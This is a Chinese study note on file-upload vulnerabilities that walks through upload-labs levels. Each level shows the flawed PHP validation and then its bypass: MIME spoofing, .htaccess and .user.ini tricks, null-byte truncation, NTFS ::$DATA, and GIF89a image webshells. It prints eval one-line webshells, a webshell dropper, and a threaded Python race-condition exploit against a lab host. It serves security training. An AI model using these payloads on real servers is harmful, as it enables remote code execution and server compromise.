文件上传
一、文件上传漏洞概述
概述
将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终在服务端硬盘上作为真实的文件保存。
通常一个文件以HTTP协议进行上传时,将POST请求发送至Web服务器,Web服务器收到请求并同意后,用户与Web服务器将建立连接,并传输数据。
客户端选择发送的文件 -> 服务器接收 -> 服务器程序判断 -> 临时文件 -> 移动到指定的路径
文件上传漏洞
文件上传漏洞就是利用系统上传位置上传一些特殊文件(如木马),如果服务端网站对其过滤不严,就会使木马文件成功被上传到服务器,攻击者可以利用上传的木马文件对服务器进行一系列操作(提权、反弹Shell、拖库等),这样就造成了目标网站的资产损失,这就是文件上传漏洞。
上传 恶意文件 给目标 服务器 远程执行文件 进行恶意操作
可能存在漏洞的位置
1.图片上传
2.头像上传
3.文档上传
4.附件上传
5...上传
文件上传漏洞的形成条件
1.恶意文件能成功上传
2.恶意文件能够被 解析 访问 执行
能上传 能访问
文件上传漏洞步骤
1.上传正常文件 分析/路径 测试/功能 //试水
2.攻击者通过文件上传功能,成功上传恶意文件至后端服务器 //尝试攻击
3.获得路径,且能成功访问
4.执行恶意文件
传文件 访文件 利用文件
文件上传原理详解
前端
<form action="fileupload.php" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
后端
<?php
$file_name = $_FILES["file"]["name"]; //文件名
$file_type = $_FILES["file"]["type"]; //文件类型 MIME
$file_tmp_url = $_FILES["file"]["tmp_name"]; //tmp_name 临时目录
$file_size = ceil( ($_FILES["file"]["size"]) / 1024); //大小
$file_error = $_FILES["file"]["error"];
if($file_error){
echo "上传失败";
}else {
echo "文件名称: $file_name <br>";
echo "文件类型: $file_type <br>";
echo "文件大小: $file_size KB <br>";
$file_upload_path = "/opt/lampp/htdocs/woniu/upload/";
move_uploaded_file($file_tmp_url, $file_upload_path . $file_name); //从临时文件移到永久文件夹
}
?>
在 PHP 中,通过 $_FILES 超级全局变量获取的文件对象通常具有以下属性:
name:上传文件的原始文件名。
type:上传文件的 MIME 类型。
tmp_name:文件被上传后在服务器上存储的临时文件名和路径。
error:上传文件过程中出现的错误代码。
size:上传文件的大小(以字节为单位)。
当通过表单上传文件时,文件首先会被存储在服务器的临时目录中。在 PHP 中,通常需要使用特定的函数(如move_uploaded_file())将文件从临时目录移动到指定的永久存储路径,以便进行后续的处理和存储。
二、文件上传防御与绕过
客户端检测(JS检测) 与绕过- Pass-01
如何判断是前端校验还是后端校验,有数据包到后端就是后端校验,没有数据包到后台前端校验(前端校验可控)
防御代码
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
var ext_name = file.substring(file.lastIndexOf(".")); //从最后的点开始截取一直到最后的字符串
例a.b.c.d 最后为d 截取最后扩展名
if (allow_ext.indexOf(ext_name + "|") == -1)
//判断 在白名单 索引 文件扩展名 若为-1即 白名单没索引到扩展名 即报错 //不相互包含 即报错
绕过手段
1. 禁用JS,可能禁用JS会导致系统无法使用
2. 删除事件,找到相关的事件
3. Yakit 抓包 修改后缀
3.1 先改为 运行后缀,在抓包修改为php后缀 最终上传的还是php
服务端校验与绕过
MIME类型校验 - Pass-02
服务器端将会对上传文件Content-type类型进行检查以此来防范恶意文件的上传,这时我们打开Yakit将php文件上传,因为Content-type的类型不是服务器认可的类型,那么我们就可以使用Yakit进行修改该文件类型,并将该文件进行上传。
常见的MIME类型
text/plain (纯文本)
text/html (HTML文档)
text/javascript (js代码)
application/xhtml+xml (XHTML文档)
image/gif (GIF图像)
image/jpeg (JPEG图像)
image/png (PNG图像)
video/mpeg (MPEG动画)
application/octet-stream (二进制数据)
application/pdf (PDF文档)
类型绕过
白名单绕过 payload
1. 上传php文件
2. Yakit 抓包 并修改 Content-Type: image/png 为白名单存在内容即可
3. 放包 并获得地址
黑名单 - Pass-03
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除多余的点
$file_ext = strrchr($file_name, '.');//切.以后字符串 即扩展名
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过
在apache中,执行不以php结尾的文件时,apache会依向前查找文件名中是否包含.php的字符,如果包含则执行该文件中的php代码
黑名单绕过 payload
1. 上传php文件
2. Burp抓包
2.1 修改 Content-Type: image/png 为白名单存在内容即可
2.2 修改文件扩展名为 shell.php3
3. 放包 并获得地址
为什么php3可以绕过
php可支持的扩展名有很多 .php3(默认支持),也可以手动配置,/opt/lampp/etc/httpd.conf,注意重启,一旦配置好,则可以支持除.php外的php扩展名
可以手动配置解析的拓展名 /opt/lampp/etc/httpd.conf
添加 或者 找到
AddType application/x-httpd-php .php3 .php4 .php5
分布式配置文件(.htaccess)绕过 - Pass-04
.htaccess文件,全称为Hypertext Access(超文本入口)。提供了针对目录改变配置的方法。
Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。
启用.htaccess,需要修改httpd.conf,启用AllowOverride All,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
前提:php5.6以下不带nts的版本,5.6版本是可以的
防御脚本
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//获取扩展名
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过
1. 创建一个 .htaccess 文件
2. 里面输入
AddType application/x-httpd-php .jpg .txt
这个文件内容的意思是告诉apache当遇到 .jpg .txt 文件时,按照php去解析
3. 将 .htaccess 文件 上传 一旦上传成功 分布式配置文件即可生效
4. 上传包含一句话木马的图片 扩展名是 .jpg
5. 使用该地址执行一句话木马 分布式配置会将这个图片理解为 php 文件
分布式配置文件(.user.ini)绕过 - Pass-05
防御代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//存扩展名
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过
版本 5.3.29 以下可绕过,其他版本未尝试
1. 创建一个 .user.ini 文件
2. 里面输入
auto_prepend_file = "shell.jpg"
auto_prepend_file 表示在每个PHP脚本之前自动加载指定的文件。该文件的内容将被插入到原始脚本的顶部。
auto_append_file 这个是指内容添加到文末,如果有exit会无法调用到
3. 将 .user.ini 文件 上传 一旦上传成功 分布式配置文件即可生效
4. 上传包含一句话木马的图片 shell.jpg
5. 使用该地址执行上蚁剑 访问 readme.php 分布式配置会将这个图片中的代码包含进 readme.php 头部 从而getshell
注意
如果不执行 需要去 php.ini 修改配置文件
user_ini.cache_ttl = 10 默认是300s等待5分钟
大小写绕过 - Pass-06
绕过
防御代码中没有大小写转化,尝试使用大小写绕过
空白符绕过 - Pass-07
绕过
防御代码中没有空白符限制,尝试使用空白符绕过
无法使用
点绕过 - Pass-08
绕过
防御代码中点符限制,尝试使用点符绕过
原理:
php 解析文件时会从后往前寻找.php 直到找到.php为止
双写绕过 - Pass-11
防御代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过
Content-Disposition: form-data; name="upload_file"; filename="shell.pphphphpp"
Content-Disposition: form-data; name="upload_file"; filename="shell.phtmlhp"
Content-Disposition: form-data; name="upload_file"; filename="shell.pphphphpp3"
00截断绕过
PHP的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
前提 : 需要PHP版本 < 5.3.4,并且 php.ini 关闭 magic_quotes_gpc = Off
这里可以使用小皮面板复现
再次访问加 index.php 访问
GET 00截断 - Pass-12
路径截断 get%00
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
绕过
注意
%00截断后面的语句,保存时,保存为shell.php 而不是shell.php.jpg
页面显示的路径是无效的,真正的路径是 /upload/shell.php
上传时为shell.php.png
保存路径时为/upload/shell.php
需要 用户控制 存储路径
POST 00截断 - Pass-13
hex 0x00/00 00 00
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; //截断后面的语句,保存时,保存为shell.php 而不是shell.php.jpg
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
POST中不会自动将%00转化为 0x00 ,需要我们手动转换
绕过
用POST方式传参,也是00截断,但是不会像GET方式那样会对%00进行解码。
由于无法自行解码所以我们需要在hex中找到相对应的位置将数字修改为00
注意
页面显示的路径是无效的,真正的路径是 /upload/shell.php
Windows::$DATA截断绕过 - Pass-09
在Windows操作系统中,当你看到文件名后跟着:$DATA时,它表示文件的一个附加数 据流(Alternate-Data Stream,ADS)。数据流是一种用于在文件内部存储额外数据的机制。
在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是 Windows-NT文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加:$DATA来访问。
例如,shell.php是一个文件,而shell.php:$DATA是这个文件的一个附加数据流。这样的数据流可 以用于存储文件的元数据、备份信息、标签等。
绕过
注意
文件回显地址
http://192.168.88.139/upload/202406040721463964.php::$data //
需要将后面的 ::$data 删除才是真实的地址
http://192.168.88.139/upload/202406040721463964.php
getimagesize图片马 - Pass15
getimagesize()是PHP中用于获取图像的大小和格式的函数。它可以返回一个包含图像的宽度、高度、类型和MIME类型的数组
图片木马
制作图片马
Widnows: copy /b 图片文件.png + /a 木马文件.php
Linux: cat 木马文件.php >> 图片文件.png
截一个小小的图,在其后面添加一个 一句话木马
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
这时候普通的一句话木马无法上传,图片组合木马可以上传,但是纯PHP代码的图片无法上传,就需要将图片标识添加到文件头部,最方便的是GIF的文件头 - GIF89A
GIF89A
<?php @eval($_REQUEST['cmd']);?>
条件竞争 - Pass-18
防御代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
条件竞争
利用在删除之前的时间差访问我们上传的木马创建一个getshell文件
shell.php
<?php fputs(fopen('getshell.php','w'),'<?php @eval($_POST["cmd"]);?>'); ?> //fopen('getshell.php','w')创建打开 fputs(路径,内容)
上传并抓包,疯狂发包
上传后会驻留一瞬间,我们就需要利用这一瞬间,访问我们的php文件
1. 上传shell.php 到服务器,Yakit抓包,利用爆破模块不断上传 payload 状态码是 200 就停
2. Python语言不断访问shell.php文件,一旦访问成功则会生成新的getshell.php文件
一直访问这个路径 一旦访问成功则会新建 getshell.php
一旦访问成功则可以上蚁剑
蚁剑访问 http://www.dlrb.com/upload/getshell.php
Python
上传 + 在访问
import threading
import requests
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0"
}
def upload():
url = "http://www.dlrb.com/upload/Pass-18/index.php"
files = {
"upload_file": ("shell.php", "<?php fputs(fopen('getshell.php','w'),'<?php @eval($_POST[cmd]);?>'); ?>")
}
data = {
"submit": "上传"
}
# files 是文件上传需要的参数 是一个 字典 data 是post 提交文件的参数
requests.post(url, data=data, headers=headers, files=files)
getshell_url = "http://www.dlrb.com/upload/upload/shell.php"
status_code = requests.get(getshell_url, headers=headers).status_code
if status_code == 200:
print("getshell生成成功")
if __name__ == '__main__':
thrad_list = []
for i in range(2000):
t = threading.Thread(target=upload)
t.start()
thrad_list.append(t)
for tt in thrad_list:
tt.join()